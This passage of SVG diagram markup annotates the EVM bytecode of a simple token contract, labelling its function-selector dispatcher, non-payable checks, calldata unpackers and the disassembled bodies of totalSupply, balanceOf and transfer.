stroke-miterlimit="10" transform="rotate(180,3151,3164)" pointer-events="none"/><path d="M 3190 3160 L 3533.34 3199.24" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3520.91 3205.37 L 3536.67 3199.62 L 3522.62 3190.46" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3170 2760 L 3613.32 2720.59" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3602.38 2729.1 L 3616.66 2720.3 L 3601.05 2714.15" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3180 2420 L 3613.7 2262.29" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3605.31 2273.32 L 3616.85 2261.15 L 3600.19 2259.22" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><rect x="3640" y="3945" width="260" height="110" fill="#ffffff" stroke="#d6b656" pointer-events="none"/><path d="M 3640 3971 L 3640 3945 L 3900 3945 L 3900 3971 Z" fill="#fff2cc" stroke="#d6b656" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="3769.5" y="3963.5">totalSupply() function body</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-3644-3976-252-84-0)" font-size="12px"><text x="3645.5" y="3988.5">245 JUMPDEST</text><text x="3645.5" y="4002.5">246 PUSH1 00</text><text x="3645.5" y="4016.5">248 SLOAD</text><text x="3645.5" y="4030.5">249 SWAP1</text><text x="3645.5" y="4044.5">250 JUMP</text></g><path d="M 3220 3877.5 L 3215 3877.5 Q 3210 3877.5 3210 3887.5 L 3210 3902.5 Q 3210 3912.5 3205 3912.5 L 3202.5 3912.5 Q 3200 3912.5 3205 3912.5 L 3207.5 3912.5 Q 3210 3912.5 3210 3922.5 L 3210 3937.5 Q 3210 3947.5 3215 3947.5 L 3220 3947.5" fill="none" stroke="#d6b656" stroke-miterlimit="10" transform="rotate(180,3210,3912.5)" pointer-events="none"/><path d="M 3220 3950 L 3215 3950 Q 3210 3950 3210 3960 L 3210 4049.5 Q 3210 4059.5 3205 4059.5 L 3202.5 4059.5 Q 3200 4059.5 3205 4059.5 L 3207.5 4059.5 Q 3210 4059.5 3210 4069.5 L 3210 4159 Q 3210 4169 3215 4169 L 3220 4169" fill="none" stroke="#6c8ebf" stroke-miterlimit="10" transform="rotate(180,3210,4059.5)" pointer-events="none"/><rect x="3698" y="4170" width="290" height="260" fill="#ffffff" stroke="#6c8ebf" pointer-events="none"/><path d="M 3698 4196 L 3698 4170 L 3988 4170 L 3988 4196 Z" fill="#dae8fc" stroke="#6c8ebf" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="3842.5" y="4188.5">balanceOf(address) function body</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-3702-4201-282-234-0)" font-size="12px"><text x="3703.5" y="4213.5">251 JUMPDEST</text><text x="3703.5" y="4227.5">252 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="3703.5" y="4241.5">273 AND</text><text x="3703.5" y="4255.5">274 PUSH1 00</text><text x="3703.5" y="4269.5">276 SWAP1</text><text x="3703.5" y="4283.5">277 DUP2</text><text x="3703.5" y="4297.5">278 MSTORE</text><text x="3703.5" y="4311.5">279 PUSH1 01</text><text x="3703.5" y="4325.5">281 PUSH1 20</text><text x="3703.5" y="4339.5">283 MSTORE</text><text x="3703.5" y="4353.5">284 PUSH1 40</text><text x="3703.5" y="4367.5">286 SWAP1</text><text x="3703.5" y="4381.5">287 SHA3</text><text x="3703.5" y="4395.5">288 SLOAD</text><text x="3703.5" y="4409.5">289 SWAP1</text><text x="3703.5" y="4423.5">290 JUMP</text></g><rect x="3638" y="4730.07" width="490" height="1100" fill="#ffffff" stroke="#b85450" pointer-events="none"/><path d="M 3638 4756.07 L 3638 4730.07 L 4128 4730.07 L 4128 4756.07 Z" fill="#f8cecc" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><g fill="black" font-family="Helvetica" font-weight="bold" text-anchor="middle" font-size="12px"><text x="3882.5" y="4748.57">transfer(address,uint256) function body</text></g><g fill="#000000" font-family="Helvetica" clip-path="url(#mx-clip-3642-4761-482-1074-0)" font-size="12px"><text x="3643.5" y="4773.57">291 JUMPDEST</text><text x="3643.5" y="4787.57">292 PUSH1 00</text><text x="3643.5" y="4801.57">294 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="3643.5" y="4815.57">315 DUP4</text><text x="3643.5" y="4829.57">316 AND</text><text x="3643.5" y="4843.57">317 ISZERO</text><text x="3643.5" y="4857.57">318 ISZERO</text><text x="3643.5" y="4871.57">319 PUSH2 0147</text><text x="3643.5" y="4885.57">322 JUMPI</text><text x="3643.5" y="4899.57">323 PUSH1 00</text><text x="3643.5" y="4913.57">325 DUP1</text><text x="3643.5" y="4927.57">326 REVERT</text><text x="3643.5" y="4941.57">327 JUMPDEST</text><text x="3643.5" y="4955.57">328 CALLER</text><text x="3643.5" y="4969.57">329 PUSH1 00</text><text x="3643.5" y="4983.57">331 SWAP1</text><text x="3643.5" y="4997.57">332 DUP2</text><text x="3643.5" y="5011.57">333 MSTORE</text><text x="3643.5" y="5025.57">334 PUSH1 01</text><text x="3643.5" y="5039.57">336 PUSH1 20</text><text x="3643.5" y="5053.57">338 MSTORE</text><text x="3643.5" y="5067.57">339 PUSH1 40</text><text x="3643.5" y="5081.57">341 SWAP1</text><text x="3643.5" y="5095.57">342 SHA3</text><text x="3643.5" y="5109.57">343 SLOAD</text><text x="3643.5" y="5123.57">344 DUP3</text><text x="3643.5" y="5137.57">345 GT</text><text x="3643.5" y="5151.57">346 ISZERO</text><text x="3643.5" y="5165.57">347 PUSH2 0163</text><text x="3643.5" y="5179.57">350 JUMPI</text><text x="3643.5" y="5193.57">351 PUSH1 00</text><text x="3643.5" y="5207.57">353 DUP1</text><text x="3643.5" y="5221.57">354 REVERT</text><text x="3643.5" y="5235.57">355 JUMPDEST</text><text x="3643.5" y="5249.57">356 POP</text><text x="3643.5" y="5263.57">357 CALLER</text><text x="3643.5" y="5277.57">358 PUSH1 00</text><text x="3643.5" y="5291.57">360 SWAP1</text><text x="3643.5" y="5305.57">361 DUP2</text><text x="3643.5" y="5319.57">362 MSTORE</text><text x="3643.5" y="5333.57">363 PUSH1 01</text><text x="3643.5" y="5347.57">365 PUSH1 20</text><text x="3643.5" y="5361.57">367 DUP2</text><text x="3643.5" y="5375.57">368 SWAP1</text><text x="3643.5" y="5389.57">369 MSTORE</text><text x="3643.5" y="5403.57">370 PUSH1 40</text><text x="3643.5" y="5417.57">372 DUP1</text><text x="3643.5" y="5431.57">373 DUP4</text><text x="3643.5" y="5445.57">374 SHA3</text><text x="3643.5" y="5459.57">375 DUP1</text><text x="3643.5" y="5473.57">376 SLOAD</text><text x="3643.5" y="5487.57">377 DUP6</text><text x="3643.5" y="5501.57">378 SWAP1</text><text x="3643.5" y="5515.57">379 SUB</text><text x="3643.5" y="5529.57">380 SWAP1</text><text x="3643.5" y="5543.57">381 SSTORE</text><text x="3643.5" y="5557.57">382 PUSH20 ffffffffffffffffffffffffffffffffffffffff</text><text x="3643.5" y="5571.57">403 DUP6</text><text x="3643.5" y="5585.57">404 AND</text><text x="3643.5" y="5599.57">405 DUP4</text><text x="3643.5" y="5613.57">406 MSTORE</text><text x="3643.5" y="5627.57">407 SWAP1</text><text x="3643.5" y="5641.57">408 SWAP2</text><text x="3643.5" y="5655.57">409 SHA3</text><text x="3643.5" y="5669.57">410 DUP1</text><text x="3643.5" y="5683.57">411 SLOAD</text><text x="3643.5" y="5697.57">412 DUP4</text><text x="3643.5" y="5711.57">413 ADD</text><text x="3643.5" y="5725.57">414 SWAP1</text><text x="3643.5" y="5739.57">415 SSTORE</text><text x="3643.5" y="5753.57">416 SWAP3</text><text x="3643.5" y="5767.57">417 SWAP2</text><text x="3643.5" y="5781.57">418 POP</text><text x="3643.5" y="5795.57">419 POP</text><text x="3643.5" y="5809.57">420 JUMP</text><text x="3643.5" y="5823.57">421 STOP</text></g><path d="M 3220 4174 L 3215 4174 Q 3210 4174 3210 4184 L 3210 4699 Q 3210 4709 3205 4709 L 3202.5 4709 Q 3200 4709 3205 4709 L 3207.5 4709 Q 3210 4709 3210 4719 L 3210 5234 Q 3210 5244 3215 5244 L 3220 5244" fill="none" stroke="#b85450" stroke-miterlimit="10" transform="rotate(180,3210,4709)" pointer-events="none"/><path d="M 3240 3910 L 3603.48 3998.41" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3590.39 4002.95 L 3606.74 3999.21 L 3593.94 3988.37" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3250 4060 L 3664.12 4286.78" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3650.3 4287.76 L 3667.06 4288.39 L 3657.5 4274.61" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3240 4710 L 3603.84 4867.34" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3590.18 4869.6 L 3606.92 4868.67 L 3596.13 4855.83" fill="none" stroke="#000000" stroke-width="3" stroke-miterlimit="10" pointer-events="none"/><path d="M 3120 1790 L 3115 1790 Q 3110 1790 3110 1800 L 3110 1823 Q 3110 1833 3105 1833 L 3102.5 1833 Q 3100 1833 3105 1833 L 3107.5 1833 Q 3110 1833 3110 1843 L 3110 1866 Q 3110 1876 3115 1876 L 3120 1876" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,3110,1833)" pointer-events="none"/><path d="M 3120 1880 L 3115 1880 Q 3110 1880 3110 1890 L 3110 1906 Q 3110 1916 3105 1916 L 3102.5 1916 Q 3100 1916 3105 1916 L 3107.5 1916 Q 3110 1916 3110 1926 L 3110 1942 Q 3110 1952 3115 1952 L 3120 1952" fill="none" stroke="#d6b656" stroke-miterlimit="10" transform="rotate(-180,3110,1916)" pointer-events="none"/><path d="M 3120 1955 L 3115 1955 Q 3110 1955 3110 1965 L 3110 1978 Q 3110 1988 3105 1988 L 3102.5 1988 Q 3100 1988 3105 1988 L 3107.5 1988 Q 3110 1988 3110 1998 L 3110 2011 Q 3110 2021 3115 2021 L 3120 2021" fill="none" stroke="#6c8ebf" stroke-miterlimit="10" transform="rotate(180,3110,1988)" pointer-events="none"/><path d="M 3120 2024.5 L 3115 2024.5 Q 3110 2024.5 3110 2034.5 L 3110 2047.5 Q 3110 2057.5 3105 2057.5 L 3102.5 2057.5 Q 3100 2057.5 3105 2057.5 L 3107.5 2057.5 Q 3110 2057.5 3110 2067.5 L 3110 2080.5 Q 3110 2090.5 3115 2090.5 L 3120 2090.5" fill="none" stroke="#b85450" stroke-miterlimit="10" transform="rotate(180,3110,2057.5)" pointer-events="none"/><path d="M 3120 2094 L 3115 2094 Q 3110 2094 3110 2104 L 3110 2113.5 Q 3110 2123 3105 2123 L 3102.5 2123 Q 3100 2123 3105 2123 L 3107.5 2123 Q 3110 2123 3110 2133 L 3110 2142.5 Q 3110 2152 3115 2152 L 3120 2152" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,3110,2123)" pointer-events="none"/><g transform="translate(3121.5,1825.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="365" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Extract first four bytes of calldata (function signature hash).</div></div></foreignObject><text x="183" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Extract first four bytes of calldata (function signature hash).</text></switch></g><g transform="translate(3121.5,1908.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="238" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Matches "totalSupply()"? Jump to 091.</div></div></foreignObject><text x="119" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Matches "totalSupply()"? Jump to 091.</text></switch></g><g transform="translate(3121.5,1980.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="282" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Matches "balanceOf(address)"? Jump to 130.</div></div></foreignObject><text x="141" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Matches "balanceOf(address)"? Jump to 130.</text></switch></g><g transform="translate(3121.5,2048.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="320" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Matches "transfer(address, uint256)"? Jump to 176.</div></div></foreignObject><text x="160" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Matches "transfer(address, uint256)"? Jump to 176.</text></switch></g><g transform="translate(3121.5,2116.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="268" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">No match (and no fallback function), revert!</div></div></foreignObject><text x="134" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">No match (and no fallback function), revert!</text></switch></g><path d="M 2804 1657 L 2799 1657 Q 2794 1657 2794 1667 L 2794 1688 Q 2794 1698 2789 1698 L 2786.5 1698 Q 2784 1698 2789 1698 L 2791.5 1698 Q 2794 1698 2794 1708 L 2794 1729 Q 2794 1739 2799 1739 L 2804 1739" fill="none" stroke="#000000" stroke-miterlimit="10" transform="rotate(180,2794,1698)" pointer-events="none"/><g transform="translate(2806.5,1690.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="339" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">If calldata is shorter than 4 bytes, jump to 86 (fallback).</div></div></foreignObject><text x="170" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">If calldata is shorter than 4 bytes, jump to 86 (fallback).</text></switch></g><path d="M 2560 1722 L 2520 1722 Q 2510 1722 2510 1732 L 2510 2090 Q 2510 2100 2520 2100 L 2543.63 2100" fill="none" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><path d="M 2548.88 2100 L 2541.88 2103.5 L 2543.63 2100 L 2541.88 2096.5 Z" fill="#666666" stroke="#666666" stroke-miterlimit="10" pointer-events="none"/><path d="M 3130 1940 L 3590 1940 Q 3600 1940 3600 1950 L 3600 2100 Q 3600 2110 3610 2110 L 3623.63 2110" fill="none" stroke="#d6b656" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 3628.88 2110 L 3621.88 2113.5 L 3623.63 2110 L 3621.88 2106.5 Z" fill="#d6b656" stroke="#d6b656" stroke-miterlimit="10" pointer-events="none"/><path d="M 3130 2017.5 L 3570 2017.5 Q 3580 2017.5 3580 2027.5 L 3580 2651 Q 3580 2661 3590 2661 L 3623.63 2661" fill="none" stroke="#6c8ebf" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 3628.88 2661 L 3621.88 2664.5 L 3623.63 2661 L 3621.88 2657.5 Z" fill="#6c8ebf" stroke="#6c8ebf" stroke-miterlimit="10" pointer-events="none"/><path d="M 3130 2080 L 3520 2080 Q 3530 2080 3530 2090 L 3530 3090 Q 3530 3100 3540 3100 L 3553.63 3100" fill="none" stroke="#b85450" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 3558.88 3100 L 3551.88 3103.5 L 3553.63 3100 L 3551.88 3096.5 Z" fill="#b85450" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><path d="M 4155 2108 L 4150 2108 Q 4145 2108 4145 2118 L 4145 2155.5 Q 4145 2165.5 4140 2165.5 L 4137.5 2165.5 Q 4135 2165.5 4140 2165.5 L 4142.5 2165.5 Q 4145 2165.5 4145 2175.5 L 4145 2213 Q 4145 2223 4150 2223 L 4155 2223" fill="none" stroke="#d6b656" stroke-miterlimit="10" transform="rotate(180,4145,2165.5)" pointer-events="none"/><g transform="translate(4161.5,2160.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="124" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Non-payable check.</div></div></foreignObject><text x="62" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Non-payable check.</text></switch></g><g transform="translate(4162.5,2254.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="116" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Calldata unpacker.</div></div></foreignObject><text x="58" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Calldata unpacker.</text></switch></g><path d="M 4156 2226 L 4151 2226 Q 4146 2226 4146 2236 L 4146 2252.5 Q 4146 2262.5 4141 2262.5 L 4138.5 2262.5 Q 4136 2262.5 4141 2262.5 L 4143.5 2262.5 Q 4146 2262.5 4146 2272.5 L 4146 2289 Q 4146 2299 4151 2299 L 4156 2299" fill="none" stroke="#d6b656" stroke-miterlimit="10" transform="rotate(180,4146,2262.5)" pointer-events="none"/><path d="M 4155 2303 L 4150 2303 Q 4145 2303 4145 2313 L 4145 2405.5 Q 4145 2415.5 4140 2415.5 L 4137.5 2415.5 Q 4135 2415.5 4140 2415.5 L 4142.5 2415.5 Q 4145 2415.5 4145 2425.5 L 4145 2518 Q 4145 2528 4150 2528 L 4155 2528" fill="none" stroke="#d6b656" stroke-miterlimit="10" transform="rotate(180,4145,2415.5)" pointer-events="none"/><g transform="translate(4157.5,2406.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="156" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">uint256 memory returner.</div></div></foreignObject><text x="78" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">uint256 memory returner.</text></switch></g><path d="M 4156 2650.5 L 4151 2650.5 Q 4146 2650.5 4146 2660.5 L 4146 2704.5 Q 4146 2714.5 4141 2714.5 L 4138.5 2714.5 Q 4136 2714.5 4141 2714.5 L 4143.5 2714.5 Q 4146 2714.5 4146 2724.5 L 4146 2768.5 Q 4146 2778.5 4151 2778.5 L 4156 2778.5" fill="none" stroke="#6c8ebf" stroke-miterlimit="10" transform="rotate(180,4146,2714.5)" pointer-events="none"/><path d="M 4156 2781 L 4151 2781 Q 4146 2781 4146 2791 L 4146 2837.5 Q 4146 2847.5 4141 2847.5 L 4138.5 2847.5 Q 4136 2847.5 4141 2847.5 L 4143.5 2847.5 Q 4146 2847.5 4146 2857.5 L 4146 2904 Q 4146 2914 4151 2914 L 4156 2914" fill="none" stroke="#6c8ebf" stroke-miterlimit="10" transform="rotate(180,4146,2847.5)" pointer-events="none"/><g transform="translate(4161.5,2839.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="116" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Calldata unpacker.</div></div></foreignObject><text x="58" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Calldata unpacker.</text></switch></g><g transform="translate(4162.5,2703.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="124" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Non-payable check.</div></div></foreignObject><text x="62" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Non-payable check.</text></switch></g><path d="M 4085 3085.85 L 4080 3085.85 Q 4075 3085.85 4075 3095.85 L 4075 3140.85 Q 4075 3150.85 4070 3150.85 L 4067.5 3150.85 Q 4065 3150.85 4070 3150.85 L 4072.5 3150.85 Q 4075 3150.85 4075 3160.85 L 4075 3205.85 Q 4075 3215.85 4080 3215.85 L 4085 3215.85" fill="none" stroke="#b85450" stroke-miterlimit="10" transform="rotate(180,4075,3150.85)" pointer-events="none"/><path d="M 4086 3222 L 4081 3222 Q 4076 3222 4076 3232 L 4076 3284.5 Q 4076 3294.5 4071 3294.5 L 4068.5 3294.5 Q 4066 3294.5 4071 3294.5 L 4073.5 3294.5 Q 4076 3294.5 4076 3304.5 L 4076 3357 Q 4076 3367 4081 3367 L 4086 3367" fill="none" stroke="#b85450" stroke-miterlimit="10" transform="rotate(180,4076,3294.5)" pointer-events="none"/><path d="M 4085 3373 L 4080 3373 Q 4075 3373 4075 3383 L 4075 3485.5 Q 4075 3495.5 4070 3495.5 L 4067.5 3495.5 Q 4065 3495.5 4070 3495.5 L 4072.5 3495.5 Q 4075 3495.5 4075 3505.5 L 4075 3608 Q 4075 3618 4080 3618 L 4085 3618" fill="none" stroke="#b85450" stroke-miterlimit="10" transform="rotate(180,4075,3495.5)" pointer-events="none"/><g transform="translate(4091.5,3487.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="137" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">bool memory returner.</div></div></foreignObject><text x="69" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">bool memory returner.</text></switch></g><g transform="translate(4087.5,3286.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="116" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Calldata unpacker.</div></div></foreignObject><text x="58" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Calldata unpacker.</text></switch></g><g transform="translate(4086.5,3138.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="124" height="14" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 14px; font-family: Helvetica; color: rgb(0, 0, 0); line-height: 1.2; vertical-align: top; white-space: nowrap;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;">Non-payable check.</div></div></foreignObject><text x="62" y="14" fill="#000000" text-anchor="middle" font-size="14px" font-family="Helvetica">Non-payable check.</text></switch></g><path d="M 4160 2290 L 4320 2290 Q 4330 2290 4330 2300 L 4330 3968 Q 4330 3978 4320 3978 L 3916.37 3978" fill="none" stroke="#d6b656" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 3911.12 3978 L 3918.12 3974.5 L 3916.37 3978 L 3918.12 3981.5 Z" fill="#d6b656" stroke="#d6b656" stroke-miterlimit="10" pointer-events="none"/><path d="M 4160 2900 L 4410 2900 Q 4420 2900 4420 2910 L 4420 4200 Q 4420 4210 4410 4210 L 4006.37 4210" fill="none" stroke="#6c8ebf" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 4001.12 4210 L 4008.12 4206.5 L 4006.37 4210 L 4008.12 4213.5 Z" fill="#6c8ebf" stroke="#6c8ebf" stroke-miterlimit="10" pointer-events="none"/><path d="M 4090 3360 L 4610 3360 Q 4620 3360 4620 3370 L 4620 4760 Q 4620 4770 4610 4770 L 4146.37 4770" fill="none" stroke="#b85450" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 4141.12 4770 L 4148.12 4766.5 L 4146.37 4770 L 4148.12 4773.5 Z" fill="#b85450" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><path d="M 3910 4040 L 4300 4040 Q 4310 4040 4310 4030 L 4310 2320 Q 4310 2310 4300 2310 L 4166.37 2310" fill="none" stroke="#d6b656" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 4161.12 2310 L 4168.12 2306.5 L 4166.37 2310 L 4168.12 2313.5 Z" fill="#d6b656" stroke="#d6b656" stroke-miterlimit="10" pointer-events="none"/><path d="M 4010 4420 L 4470 4420 Q 4480 4420 4480 4410 L 4480 2330 Q 4480 2320 4470 2320 L 4166.37 2320" fill="none" stroke="#6c8ebf" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 4161.12 2320 L 4168.12 2316.5 L 4166.37 2320 L 4168.12 2323.5 Z" fill="#6c8ebf" stroke="#6c8ebf" stroke-miterlimit="10" pointer-events="none"/><path d="M 4150 5810 L 4661 5810 Q 4671 5810 4671 5800 L 4671 3380 Q 4671 3370 4661 3370 L 4096.37 3370" fill="none" stroke="#b85450" stroke-miterlimit="10" stroke-dasharray="3 3" pointer-events="none"/><path d="M 4091.12 3370 L 4098.12 3366.5 L 4096.37 3370 L 4098.12 3373.5 Z" fill="#b85450" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><g transform="translate(4669.5,4554.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="3" height="11" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: inline-block; font-size: 11px; font-family: Helvetica; color: black; line-height: 1.2; vertical-align: top; white-space: nowrap; text-align: center;"><div xmlns="http://www.w3.org/1999/xhtml" style="display:inline-block;text-align:inherit;text-decoration:inherit;background-color:#ffffff;"> </div></div></foreignObject><text x="2" y="11" fill="black" text-anchor="middle" font-size="11px" font-family="Helvetica">[Not supported by viewer]</text></switch></g><ellipse cx="10" cy="3650" rx="10" ry="10" fill="#fff2cc" stroke="#d6b656" pointer-events="none"/><ellipse cx="10" cy="3704" rx="10" ry="10" fill="#dae8fc" stroke="#6c8ebf" pointer-events="none"/><ellipse cx="10" cy="3830" rx="10" ry="10" fill="#f8cecc" stroke="#b85450" pointer-events="none"/><path d="M 3100 2041 L 3100 2041" fill="none" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><path d="M 3100 2041 L 3100 2041 L 3100 2041 L 3100 2041 Z" fill="#b85450" stroke="#b85450" stroke-miterlimit="10" pointer-events="none"/><g transform="translate(2313.5,2734.5)rotate(2,106.5,27.5)"><switch><foreignObject style="overflow:visible;" pointer-events="all" width="213" height="55" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"><div xmlns="http://www.w3.org/1999/xhtml" style="display: 